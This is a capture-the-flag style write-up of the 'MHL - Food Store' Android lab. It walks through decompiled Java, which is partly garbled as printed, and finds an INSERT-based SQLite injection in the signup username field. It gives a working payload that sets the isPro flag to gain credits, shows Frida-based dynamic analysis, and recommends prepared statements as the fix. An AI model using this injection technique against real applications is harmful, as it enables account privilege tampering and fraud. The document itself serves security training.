MHL - Food Store
Solution
Step 0: The task

Step 1: Static Analysis
<activity android:name="com.mobilehackinglab.foodstore.Signup" android:exported="false" ></activity>
<activity android:name="com.mobilehackinglab.foodstore.MainActivity" android:exported="true" ></activity>
<activity android:name="com.mobilehackinglab.foodstore.LoginActivity" android:exported="true" >We have 3 screens: Login, Signup and Main Activity
From SignUp create user d look Interesting.
private static final void onCreate$lambda$0(Signup this$0,View it){
EditText uEditText1;
Signup username1;
Signup password;
Object obj = this$0;
Intrinsics.checkNotNullParameter(obj, "this$0");
Signup username = obj.username;
String str = "username";
EditText uEditText = null;
if (username == null) {
Intrinsics.throwUninitializedPropertyAccessException(str);
username = uEditText;
}
int i = 1;
int i1 = (!StringsKt.trim(username.getText().toString()).toString().length())? i: 0;
if (!i1) {
if ((username = obj.password) == null) {
Intrinsics.throwUninitializedPropertyAccessException("password");
uEditText1 = uEditText;
}
i1 = (!StringsKt.trim(uEditText1.getText().toString()).toString().length())? i: 0;
if (!i1) {
if ((username = obj.address) == null) {
Intrinsics.throwUninitializedPropertyAccessException("address");
uEditText1 = uEditText;
}
if (StringsKt.trim(uEditText1.getText().toString()).toString().length()) {
i = 0;
}
if (!i) {
DBHelper dbHelper = new DBHelper(obj);
if ((username1 = obj.username) == null) {
Intrinsics.throwUninitializedPropertyAccessException(str);
username1 = uEditText;
}
String str1 = username1.getText().toString();
if ((password = obj.password) == null) {
Intrinsics.throwUninitializedPropertyAccessException("password");
password = uEditText;
}
String str2 = password.getText().toString();
if ((password = obj.address) == null) {
Intrinsics.throwUninitializedPropertyAccessException("address");
}else {
uEditText = password;
}
User i2 = new User(0, str1, str2, uEditText.getText().toString(), false, 1, null);
User newUser = i;
d
Toast.makeText(obj, "User Registered Successfully", 0).show();
label_00e9 :
return;
}
}
}
Toast.makeText(obj, "Please fill in all fields", 0).show();
goto label_00e9 ;
}Step 2: The bug
From LoginActivity, if we are pro user app set a 10k credits.
public static void $r8$lambda$Yb7g_4tDwQYB9c1LrrhUUd8D64o(LoginActivity p0,View p1){
LoginActivity.onCreate$lambda$2(p0, p1);
}
public static void $r8$lambda$m_IBvDGKGqF6z3GgooWFf_a4H8Q(EditText p0,EditText p1,LoginActivity p2,View p3){
LoginActivity.onCreate$lambda$1(p0, p1, p2, p3);
}
public void LoginActivity(){
super();
}
private static final void onCreate$lambda$1(EditText $usernameEditText,EditText $passwordEditText,LoginActivity this$0,View it){
Intrinsics.checkNotNullParameter(this$0, "this$0");
String inputUsername = $usernameEditText.getText().toString();
String inputPassword = $passwordEditText.getText().toString();
User user = this$0.getDbHelper().getUserByUsername(inputUsername);
int i = 0;
if (user != null && Intrinsics.areEqual(user.getPassword(), inputPassword)) {
Toast.makeText(this$0, "Login Successful", i).show();
Intent intentx = new Intent(this$0, MainActivity.class);
Intent $this$onCreate_u24lambda_u241_u24lambda_u240 = intentx;
int $i$a$-apply-LoginActivity$onCreate$1$intent$1 = 0;
$this$onCreate_u24lambda_u241_u24lambda_u240.putExtra("USERNAME", inputUsername);
$this$onCreate_u24lambda_u241_u24lambda_u240.putExtra("USER_CREDIT", i);
$this$onCreate_u24lambda_u241_u24lambda_u240.putExtra("IS_PRO_USER", user.isPro());
$this$onCreate_u24lambda_u241_u24lambda_u240.putExtra("USER_ADDRESS", user.getAddress());
this$0.startActivity(intentx);
this$0.finish();
}else {
Toast.makeText(this$0, "Invalid Credentials", i).show();
}
return;From DBHelper
public final void addUser(User user){
Intrinsics.checkNotNullParameter(user, "user");
SQLiteDatabase db = this.getWritableDatabase();
byte[] bytes = user.getPassword().getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String\).getBytes\(charset\)");
String encodedPassword = Base64.encodeToString(bytes, 0);
String Username = user.getUsername();
byte[] bytes1 = user.getAddress().getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes1, "this as java.lang.String\).getBytes\(charset\)");
String encodedAddress = Base64.encodeToString(bytes1, 0);
String sql = "INSERT INTO users \(username, password, address, isPro\) VALUES \(\'"++"\', \'"+encodedPassword+"\', \'"+encodedAddress+"\', 0\)";
db.close();
}The bug is a SQL Injection Insert Based over SQLite, uncommon injection but explotation is pretty simple
INSERT INTO users (username, password) VALUES ('my_user', 'password'MY_PAYLOAD)
Step 3: Dynamic Analysis
At this point we need to develop our payload, lucky for us this script intercept sqlite functions, create database, insert, select is covered. https://codeshare.frida.re/@ninjadiary/sqlite-database/
I download the script, and run it


There is a single point of insertion at username. password and address is encoded in base64, before saved in database.
First try
Payload in user text box
user2','cHdkMQ==', 'YWRkcmVzcyAx',1)--
Become.
INSERT INTO users (username, password, address, isPro) VALUES ('user2','cHdkMQ==', 'YWRkcmVzcyAx',1)--', 'cHdkMQ==', 'YWRkcmVzcyAx', 0)

Failing,

Second try
Payload
user2','cHdkMQ==', 'YWRkcmVzcyAx',1);--
Become
INSERT INTO users (username, password, address, isPro) VALUES ('user2','cHdkMQ==', 'YWRkcmVzcyAx',1);--', 'cHdkMQ==', 'YWRkcmVzcyAx', 0)
Final

user2 is added, and we get 10k credits. 👏

Behind the scenes, look the record in database.

The fix
Use prepared statements, for every param, android docs are good enought, https://developer.android.com/reference/java/sql/PreparedStatement

Last updated